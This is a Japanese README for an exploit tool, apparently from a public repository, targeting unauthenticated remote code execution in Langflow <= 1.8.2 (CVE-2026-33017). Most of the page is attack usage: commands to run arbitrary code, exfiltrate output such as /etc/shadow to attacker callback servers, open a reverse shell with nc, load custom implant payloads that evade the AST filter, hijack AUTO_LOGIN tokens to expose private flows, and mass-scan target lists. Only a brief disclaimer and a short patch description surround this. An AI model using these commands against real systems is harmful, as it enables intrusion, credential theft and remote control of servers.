CVE-2026-33017 - Langflow 未認証RCE

        _____
       /     \
      | () () |
       \  ^  /
        |||||

認証なしのexec()、サンドボックスなし、希望なし。

Langflow <= 1.8.2 は、POST /api/v1/build_public_tmp/{flow_id}/flow エンドポイントを介して未認証のリモートコード実行を許可します。攻撃者が提供するフローデータにノード定義内の任意のPythonコードが含まれる場合、それはサンドボックス化ゼロで直接 exec() に渡されます。

• CVSS: 9.8 Critical
• CWE: CWE-94 (コードインジェクション)、CWE-306 (認証欠如)
• 影響を受けるバージョン: Langflow <= 1.8.2 (1.9.0-dev0 から dev11 を含む)
• 修正済み: Langflow 1.9.0
• CISA KEV: 2026-03-25 に追加
• 実環境での悪用: 開示から20時間以内

キルチェーン

POST /api/v1/build_public_tmp/{flow_id}/flow
  -> chat.py -> start_flow_build() -> build_graph_from_data()
  -> Graph.from_payload() -> loading.py -> eval.py create_class()
  -> validate.py prepare_global_scope() -> exec(compiled_code)
  -> 任意のコードがサーバープロセスとして実行される。ゲームオーバー。

インストール

git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

使用方法

偵察 - ターゲットが脆弱かどうかを確認

python3 exploit.py --url http://target:7860 --check

ブラインドコマンド実行

python3 exploit.py --url http://target:7860 --cmd "id"

GETコールバックによる出力の外部送信 (URLパス内のbase64)

# ターミナル1: リスナーを起動
python3 -m http.server 8080

# ターミナル2: エクスプロイトを実行
python3 exploit.py --url http://target:7860 --cmd "id" \
  --callback-get http://your-ip:8080

# リスナーのログからbase64をデコード:
echo "dWlkPTEwMDAo..." | base64 -d

POSTコールバックによる出力の外部送信 (ボディ内の生出力)

# ターミナル1: リスナーを起動
nc -l 8080

# ターミナル2: エクスプロイトを実行
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
  --callback-post http://your-ip:8080

# 生の出力がPOSTボディに直接届く - デコードは不要

リバースシェル

# ターミナル1: リスナーを起動
nc -l 4444

# ターミナル2: エクスプロイトを実行
python3 exploit.py --url http://target:7860 --revshell your-ip 4444

カスタムPythonペイロード

python3 exploit.py --url http://target:7860 --payload-file implant.py

ペイロードファイルのルール:

• コードは prepare_global_scope() 内の exec() を介してモジュールレベルで実行される
• ASTフィルタは Assign、FunctionDef、ClassDef ノードのみを実行するため、代入を使用する必要がある (例: _x = os.popen(...).read())
• ブロッキング呼び出しは、非同期イベントループを停止させないために threading.Thread(daemon=True) を使用する必要がある

プライベートフローの自動昇格

公開フローが存在せず、AUTO_LOGINが有効な場合 (多くのデプロイメントでデフォルト):

python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"

これによりAUTO_LOGINトークンを乗っ取り、最初のフローをPATCHでPUBLICに変更してから悪用します。

バルクスキャン

ファイルから複数のターゲットをスキャン (脆弱性チェックのみ):

python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt

targets.txt の形式:

http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# コメントは無視されます

出力に表示される内容:

• バージョン検出 (脆弱 / 修正済み)
• AUTO_LOGINステータス (無料トークン = 簡単な権限昇格)
• 公開フローの数 (即座に悪用可能)

Burp経由のプロキシ

python3 exploit.py --url http://target:7860 --cmd "id" \
  --proxy http://127.0.0.1:8080

動作原理

1. バージョンチェック - /api/v1/version をプローブしてターゲットを特定
2. フロー検出 - AUTO_LOGIN (有効な場合) を使用してフローを列挙し、PUBLICのものを検出
3. ペイロードインジェクション - code フィールドに悪意のあるPythonを含む CustomComponent ノードを持つ最小限のフローグラフを作成
4. コード実行 - 細工した data パラメータを /api/v1/build_public_tmp/{flow_id}/flow にPOST送信。Langflowがグラフをコンパイルし、攻撃者のコードに対して create_class() -> prepare_global_scope() -> exec() を呼び出す

v1.9.0の修正では data パラメータが完全に削除され、エンドポイントがデータベースに保存されたフローデータのみを使用するよう強制されます。

パッチ分析

参考情報

• NVD - CVE-2026-33017
• JFrog Research - パッチバイパス分析
• Sysdig - 20時間での悪用
• CISA KEV
• 修正コミット
• GitHub Advisory: GHSA-rvqx-wpfh-mfx7

免責事項

このツールは許可されたセキュリティ研究専用です。明示的なテスト許可があるシステムに対してのみ使用してください。作者は誤用について責任を負いません。